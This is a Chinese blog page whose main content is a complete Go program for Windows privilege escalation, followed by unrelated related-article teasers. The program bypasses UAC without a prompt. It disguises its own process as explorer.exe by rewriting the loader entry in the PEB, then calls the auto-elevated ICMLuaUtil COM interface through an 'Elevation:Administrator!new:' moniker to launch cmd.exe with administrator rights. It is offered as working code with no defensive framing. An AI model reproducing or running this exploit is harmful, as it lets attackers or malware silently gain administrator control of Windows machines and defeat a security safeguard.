golang实现普通升管理员权限

article/2024/7/13 11:12:32

golang实现普通升管理员权限

package mainimport ("fmt""os""path/filepath""runtime""syscall""unsafe""golang.org/x/sys/windows""golang.org/x/sys/windows/registry"
)var (modntdll = windows.NewLazySystemDLL("ntdll.dll")modole32 = windows.NewLazySystemDLL("ole32.dll")procRtlInitUnicodeString = modntdll.NewProc("RtlInitUnicodeString")procRtlGetCurrentPeb     = modntdll.NewProc("RtlGetCurrentPeb")procCoInitializeEx       = modole32.NewProc("CoInitializeEx")procCoUninitialize       = modole32.NewProc("CoUninitialize")procCoGetObject          = modole32.NewProc("CoGetObject")
)type cBIND_OPTS3 struct {cbStruct            uint32grfFlags            uint32grfMode             uint32dwTickCountDeadline uint32dwTrackFlags        uint32dwClassContext      uint32locale              uint32pServerInfo         *uintptrhwnd                *uintptr
}const (releaseOffset      = 2shellExecuteOffset = 9cSEE_MASK_DEFAULT = 0
)type cUNICODE_STRING struct {Length        uint16MaximumLength uint16Buffer        *uint16
}type cLIST_ENTRY struct {Flink *cLIST_ENTRYBlink *cLIST_ENTRY
}/* The below three structs have several "reserved" members. These are of course well-known and extensively reverse-* engineered, but the below shows only the documented and therefore stable fields from Microsoft's winternl.h header */type cLDR_DATA_TABLE_ENTRY struct {Reserved1          [2]uintptrInMemoryOrderLinks cLIST_ENTRYReserved2          [2]uintptrDllBase            uintptrReserved3          [2]uintptrFullDllName        cUNICODE_STRINGReserved4          [8]byteReserved5          [3]uintptrReserved6          uintptrTimeDateStamp      uint32
}type cPEB_LDR_DATA struct {Reserved1               [8]byteReserved2               [3]uintptrInMemoryOrderModuleList cLIST_ENTRY
}type cPEB struct {Reserved1              [2]byteBeingDebugged          byteReserved2              [1]byteReserved3              uintptrImageBaseAddress       uintptrLdr                    *cPEB_LDR_DATAProcessParameters      uintptrReserved4              [3]uintptrAtlThunkSListPtr       uintptrReserved5              uintptrReserved6              uint32Reserved7              uintptrReserved8              uint32AtlThunkSListPtr32     uint32Reserved9              [45]uintptrReserved10             [96]bytePostProcessInitRoutine uintptrReserved11             [128]byteReserved12             [1]uintptrSessionId              uint32
}const (// winuser.hSW_HIDE            = 0SW_NORMAL          = 1SW_SHOWNORMAL      = 1SW_SHOWMINIMIZED   = 2SW_SHOWMAXIMIZED   = 3SW_MAXIMIZE        = 3SW_SHOWNOACTIVATE  = 4SW_SHOW            = 5SW_MINIMIZE        = 6SW_SHOWMINNOACTIVE = 7SW_SHOWNA          = 8SW_RESTORE         = 9SW_SHOWDEFAULT     = 10SW_FORCEMINIMIZE   = 11
)
const (cCLSCTX_LOCAL_SERVER      = 4cCOINIT_APARTMENTTHREADED = 2
)func rtlInitUnicodeString(destinationString *cUNICODE_STRING, sourceString *uint16) {syscall.Syscall(procRtlInitUnicodeString.Addr(), 2, uintptr(unsafe.Pointer(destinationString)), uintptr(unsafe.Pointer(sourceString)), 0)return
}
func rtlGetCurrentPeb() (peb *cPEB) {r0, _, _ := syscall.Syscall(procRtlGetCurrentPeb.Addr(), 0, 0, 0, 0)peb = (*cPEB)(unsafe.Pointer(r0))return
}
func coInitializeEx(reserved uintptr, coInit uint32) (ret error) {r0, _, _ := syscall.Syscall(procCoInitializeEx.Addr(), 2, uintptr(reserved), uintptr(coInit), 0)if r0 != 0 {ret = syscall.Errno(r0)}return
}
func coGetObject(name *uint16, bindOpts *cBIND_OPTS3, guid *windows.GUID, functionTable ***[0xffff]uintptr) (ret error) {r0, _, _ := syscall.Syscall6(procCoGetObject.Addr(), 4, uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(bindOpts)), uintptr(unsafe.Pointer(guid)), uintptr(unsafe.Pointer(functionTable)), 0, 0)if r0 != 0 {ret = syscall.Errno(r0)}return
}
func coUninitialize() {syscall.Syscall(procCoUninitialize.Addr(), 0, 0, 0, 0)return
}
func OpenCurrentProcessToken() (windows.Token, error) {p := windows.CurrentProcess()var t windows.Tokene := windows.OpenProcessToken(p, windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, &t)if e != nil {return 0, e}return t, nil
}// 检查是否为内置管理成员
func isAdmin(token windows.Token) bool {builtinAdminsGroup, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)if err != nil {return false}var checkableToken windows.Tokenerr = windows.DuplicateTokenEx(token, windows.TOKEN_QUERY|windows.TOKEN_IMPERSONATE, nil, windows.SecurityIdentification, windows.TokenImpersonation, &checkableToken)if err != nil {return false}defer checkableToken.Close()isAdmin, err := checkableToken.IsMember(builtinAdminsGroup)return isAdmin && err == nil
}
func TokenIsElevatedOrElevatable(token windows.Token) bool {if token.IsElevated() && isAdmin(token) {return true}linked, err := token.GetLinkedToken()if err != nil {return false}defer linked.Close()return linked.IsElevated() && isAdmin(linked)
}func findCurrentDataTableEntry() (entry *cLDR_DATA_TABLE_ENTRY, err error) {peb := rtlGetCurrentPeb()if peb == nil || peb.Ldr == nil {err = windows.ERROR_INVALID_ADDRESSreturn}for cur := peb.Ldr.InMemoryOrderModuleList.Flink; cur != &peb.Ldr.InMemoryOrderModuleList; cur = cur.Flink {entry = (*cLDR_DATA_TABLE_ENTRY)(unsafe.Pointer(uintptr(unsafe.Pointer(cur)) - unsafe.Offsetof(cLDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks)))if entry.DllBase == peb.ImageBaseAddress {return}}entry = nilerr = windows.ERROR_OBJECT_NOT_FOUNDreturn
}
func main() {//获取进程TokenprocessToken, err := OpenCurrentProcessToken() //TODO: Change to windows.OpenCurrentProcessToken once https://go-review.googlesource.com/c/sys/+/192337 landsif err != nil {return}defer processToken.Close()// //判断当前进程是否可以升权if processToken.IsElevated() {fmt.Println("你已经是管理员!!")return}if !TokenIsElevatedOrElevatable(processToken) {fmt.Println("你已经是管理员!!")err = windows.ERROR_ACCESS_DENIEDreturn}//检查UAC是否开启key, err := registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", registry.QUERY_VALUE)if err != nil {return}promptBehavior, _, err := key.GetIntegerValue("ConsentPromptBehaviorAdmin")key.Close()if err != nil {return}if uint32(promptBehavior) == 0 {fmt.Println("关闭了UAC")err = windows.ERROR_SUCCESSreturn}if uint32(promptBehavior) != 5 {fmt.Println("UAC权限太高无法提权")err = windows.ERROR_ACCESS_DENIEDreturn}key, err = registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\UAC\\COMAutoApprovalList", registry.QUERY_VALUE)if err == nil {var autoApproved uint64autoApproved, _, err = key.GetIntegerValue("{3E5FC7F9-9A51-4367-9063-A120244FBEC7}")key.Close()if err != nil {return}if uint32(autoApproved) == 0 {err = windows.ERROR_ACCESS_DENIEDreturn}}dataTableEntry, err := findCurrentDataTableEntry()if err != nil {return}windowsDirectory, err := windows.GetSystemWindowsDirectory()if err != nil {fmt.Println("err", err)return}originalPath := dataTableEntry.FullDllName.BufferexplorerPath := windows.StringToUTF16Ptr(filepath.Join(windowsDirectory, "explorer.exe"))rtlInitUnicodeString(&dataTableEntry.FullDllName, explorerPath)defer func() {rtlInitUnicodeString(&dataTableEntry.FullDllName, originalPath)runtime.KeepAlive(explorerPath)}()if err = coInitializeEx(0, cCOINIT_APARTMENTTHREADED); err == nil {defer coUninitialize()}var interfacePointer **[0xffff]uintptr//使用CoGetObject方法获取ICMLuaUtil接口的实例if err = coGetObject(windows.StringToUTF16Ptr("Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"),&cBIND_OPTS3{cbStruct:       uint32(unsafe.Sizeof(cBIND_OPTS3{})),dwClassContext: cCLSCTX_LOCAL_SERVER,},&windows.GUID{0x6EDD6D74, 0xC007, 0x4E75, [8]byte{0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}},&interfacePointer,); err != nil {return}exePath, _ := windows.UTF16PtrFromString("cmd.exe")arguments, _ := windows.UTF16PtrFromString("")pwd, _ := os.Getwd()workDir, _ := windows.UTF16PtrFromString(pwd)defer syscall.Syscall((*interfacePointer)[releaseOffset], 1, uintptr(unsafe.Pointer(interfacePointer)), 0, 0)if ret, _, _ := syscall.Syscall6((*interfacePointer)[shellExecuteOffset], 6,uintptr(unsafe.Pointer(interfacePointer)),uintptr(unsafe.Pointer(exePath)),uintptr(unsafe.Pointer(arguments)),uintptr(unsafe.Pointer(workDir)),cSEE_MASK_DEFAULT,uintptr(SW_SHOW),); ret != uintptr(windows.ERROR_SUCCESS) {err = syscall.Errno(ret)return}err = nil
}

http://www.ngui.cc/article/show-2100780.html

相关文章

Delphi 7打造RESTful API客户端

分享一下如何使用Delphi 7来实现一个简单的RESTful API客户端。或许你会问,为啥选择Delphi 7?这不是一个已经有些年头的开发工具了吗?没错,Delphi 7确实是个“老古董”了,但有时,出于一些旧的项目或特定的需…

前端JS必用工具【js-tool-big-box】学习,检测当前是否为手机端浏览器,检测某元素是否处于当前可视范围内

这一小节,js-tool-big-box工具库又迎来了两个非常实用功能成员,分别是检测当前浏览器是否为手机端浏览器,还有检测某元素当前是否处于可视范围内。 1 安装引入 通过npm安装,执行以下命令 npm i js-tool-big-box 这两个功能&…

跨域数据流动:数据提取过程中的治理与安全双轮驱动

跨域数据流动:数据提取过程中的治理与安全双轮驱动 随着信息技术的飞速发展,跨域数据流动已成为现代社会的常态。从医疗记录到金融交易,从社交媒体到企业运营,数据在各个领域之间频繁交换,为社会发展带来了极大的便利…

C语言例题42、打印金字塔

#include <stdio.h>void main() {int i, j;for (i 0; i < 5; i) {for (j 4; j > i; j--) {//输出空格printf(" ");}for (j 0; j < 2 * i 1; j) {//输出星号printf("* ");}printf("\n");} }运行结果&#xff1a; 本章C语言经…

外贸邮件营销平台2024热门排行榜

在数字化全球经济的大背景下&#xff0c;外贸邮件营销作为企业开拓国际市场的重要工具&#xff0c;其重要性不言而喻。正确地选择一个高效的邮件营销平台对于提升国际业务拓展能力、增强客户沟通效率以及最终实现销售转化具有至关重要的影响。本文对当前市场上广受欢迎的外贸邮…

nginx文件夹内文件解释<四>

koi-win解释说明 [rootrelease nginx]# more koi-win charset_map koi8-r windows-1251 {80 88 ; # euro95 95 ; # bullet9A A0 ; # 9E B7 ; # &middot;A3 B8 ; # small yoA4 BA ; # small Ukrainian yeA6 B3 ; # small Ukrainian iA7 BF ; # small Ukrainian …

webpack优化构建体积示例-压缩图片:

不同的图片格式有不同的特点和用途&#xff0c;它们也需要不同的压缩算法和技术&#xff0c;也为了保证能在各个浏览器环境下能正常加载显示&#xff0c;所以需要用到多个插件 在使用imagemin-webpack-plugin来配置图片压缩时&#xff0c;你需要确保已经安装了该插件以及它可能…

Vitis HLS 学习笔记--优化本地存储器访问瓶颈

目录 1. 简介 2. 代码解析 2.1 原始代码 2.2 优化后 2.3 分析优化措施 3. 总结 1. 简介 在Vitis HLS中&#xff0c;实现II&#xff08;迭代间隔&#xff09; 1是提高循环执行效率的关键。II1意味着每个时钟周期都可以开始一个新的迭代&#xff0c;这是最理想的情况&…

深入探索Jetpack Compose:大前端式客户端开发实战

&#x1f482; 个人网站:【 摸鱼游戏】【神级代码资源网站】【工具大全】&#x1f91f; 一站式轻松构建小程序、Web网站、移动应用&#xff1a;&#x1f449;注册地址&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交…

机房、配电室可视化运维这么卷?不搞3D,出门没法打招呼。

机房和配电室的可视化运维确实可以非常复杂和卷。通过使用3D技术&#xff0c;可以更加直观地展示机房和配电室的布局、设备分布和运行状态。 以下是一些与机房和配电室可视化运维相关的关键点&#xff1a; 3D建模&#xff1a;使用计算机图形学和3D建模软件&#xff0c;可以创建…